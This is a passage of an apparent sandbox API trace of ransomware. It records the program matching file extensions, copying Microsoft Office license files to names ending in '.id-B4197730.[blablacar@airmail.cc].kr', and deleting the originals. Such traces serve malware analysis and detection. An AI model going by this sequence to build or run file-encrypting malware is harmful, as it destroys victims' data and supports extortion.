office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms")) returned 1 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.325] lstrlenW (lpString=".doc") returned 4 [0216.325] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.325] lstrlenW (lpString=".docx") returned 5 [0216.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.325] lstrlenW (lpString=".pdf") returned 4 [0216.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.325] lstrlenW (lpString=".xls") returned 4 [0216.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.325] lstrlenW (lpString=".xlsx") returned 5 [0216.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.326] lstrlenW (lpString=".ppt") returned 4 [0216.326] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString=".zip") returned 4 [0216.326] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".rar") returned 4 [0216.326] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".bz2") returned 4 [0216.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".7z") returned 3 [0216.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString=".dbf") returned 4 [0216.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString=".1cd") returned 4 [0216.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString=".jpg") returned 4 [0216.326] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.326] lstrlenW (lpString=".doc") returned 4 [0216.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".docx") returned 5 [0216.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.326] lstrlenW (lpString=".pdf") returned 4 [0216.326] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".xls") returned 4 [0216.326] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.326] lstrlenW (lpString=".xlsx") returned 5 [0216.326] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.327] lstrlenW (lpString=".ppt") returned 4 [0216.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.327] lstrlenW (lpString=".zip") returned 4 [0216.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString=".rar") returned 4 [0216.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString=".bz2") returned 4 [0216.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString=".7z") returned 3 [0216.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.327] lstrlenW (lpString=".dbf") returned 4 [0216.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.327] lstrlenW (lpString=".1cd") returned 4 [0216.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms") returned 81 [0216.327] lstrlenW (lpString=".jpg") returned 4 [0216.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.327] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.327] lstrlenW (lpString="ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 43 [0216.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.328] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11654) returned 1 [0216.328] CloseHandle (hObject=0x378) returned 1 [0216.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0216.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.329] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.329] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.329] GetLastError () returned 0x0 [0216.329] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d86, lpOverlapped=0x0) returned 1 [0216.336] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0216.337] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.337] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x12a, lpOverlapped=0x0) returned 1 [0216.337] SetEndOfFile (hFile=0x4b4) returned 1 [0216.338] CloseHandle (hObject=0x4b4) returned 1 [0216.338] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.338] SetEndOfFile (hFile=0x378) returned 1 [0216.340] CloseHandle (hObject=0x378) returned 1 [0216.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms")) returned 1 [0216.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.342] lstrlenW (lpString=".doc") returned 4 [0216.342] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.342] lstrlenW (lpString=".docx") returned 5 [0216.342] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.342] lstrlenW (lpString=".pdf") returned 4 [0216.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.342] lstrlenW (lpString=".xls") returned 4 [0216.342] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.342] lstrlenW (lpString=".xlsx") returned 5 [0216.342] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.342] lstrlenW (lpString=".ppt") returned 4 [0216.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.342] lstrlenW (lpString=".zip") returned 4 [0216.343] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".rar") returned 4 [0216.343] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".bz2") returned 4 [0216.343] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".7z") returned 3 [0216.343] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString=".dbf") returned 4 [0216.343] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString=".1cd") returned 4 [0216.343] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString=".jpg") returned 4 [0216.343] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString=".doc") returned 4 [0216.343] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".docx") returned 5 [0216.343] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.343] lstrlenW (lpString=".pdf") returned 4 [0216.343] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".xls") returned 4 [0216.343] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".xlsx") returned 5 [0216.343] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.343] lstrlenW (lpString=".ppt") returned 4 [0216.343] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.343] lstrlenW (lpString=".zip") returned 4 [0216.343] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.343] lstrlenW (lpString=".rar") returned 4 [0216.344] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.344] lstrlenW (lpString=".bz2") returned 4 [0216.344] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.344] lstrlenW (lpString=".7z") returned 3 [0216.344] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.344] lstrlenW (lpString=".dbf") returned 4 [0216.344] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.344] lstrlenW (lpString=".1cd") returned 4 [0216.344] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0216.344] lstrlenW (lpString=".jpg") returned 4 [0216.344] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.344] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.344] lstrlenW (lpString="ProjectStdCO365R_SubTest-pl.xrm-ms") returned 34 [0216.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.345] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11187) returned 1 [0216.345] CloseHandle (hObject=0x378) returned 1 [0216.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms")) returned 0x220 [0216.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.346] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.346] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.347] GetLastError () returned 0x0 [0216.347] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bb3, lpOverlapped=0x0) returned 1 [0216.349] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0216.350] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.350] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0216.350] SetEndOfFile (hFile=0x4b4) returned 1 [0216.640] CloseHandle (hObject=0x4b4) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.640] SetEndOfFile (hFile=0x378) returned 1 [0216.643] CloseHandle (hObject=0x378) returned 1 [0216.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms")) returned 1 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.644] lstrlenW (lpString=".doc") returned 4 [0216.644] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".docx") returned 5 [0216.644] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.644] lstrlenW (lpString=".pdf") returned 4 [0216.644] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".xls") returned 4 [0216.644] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".xlsx") returned 5 [0216.644] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.644] lstrlenW (lpString=".ppt") returned 4 [0216.644] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.644] lstrlenW (lpString=".zip") returned 4 [0216.644] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".rar") returned 4 [0216.644] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".bz2") returned 4 [0216.644] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString=".7z") returned 3 [0216.644] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.644] lstrlenW (lpString=".dbf") returned 4 [0216.644] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.644] lstrlenW (lpString=".1cd") returned 4 [0216.644] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".jpg") returned 4 [0216.645] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".doc") returned 4 [0216.645] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".docx") returned 5 [0216.645] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.645] lstrlenW (lpString=".pdf") returned 4 [0216.645] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".xls") returned 4 [0216.645] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".xlsx") returned 5 [0216.645] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.645] lstrlenW (lpString=".ppt") returned 4 [0216.645] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".zip") returned 4 [0216.645] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".rar") returned 4 [0216.645] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".bz2") returned 4 [0216.645] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString=".7z") returned 3 [0216.645] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".dbf") returned 4 [0216.645] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".1cd") returned 4 [0216.645] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0216.645] lstrlenW (lpString=".jpg") returned 4 [0216.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.646] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.646] lstrlenW (lpString="ProjectStdO365R_SubTest-ppd.xrm-ms") returned 34 [0216.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.646] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20849) returned 1 [0216.646] CloseHandle (hObject=0x378) returned 1 [0216.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms")) returned 0x220 [0216.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.647] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.647] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.648] GetLastError () returned 0x0 [0216.648] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5171, lpOverlapped=0x0) returned 1 [0216.650] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5180, lpOverlapped=0x0) returned 1 [0216.652] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.652] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, 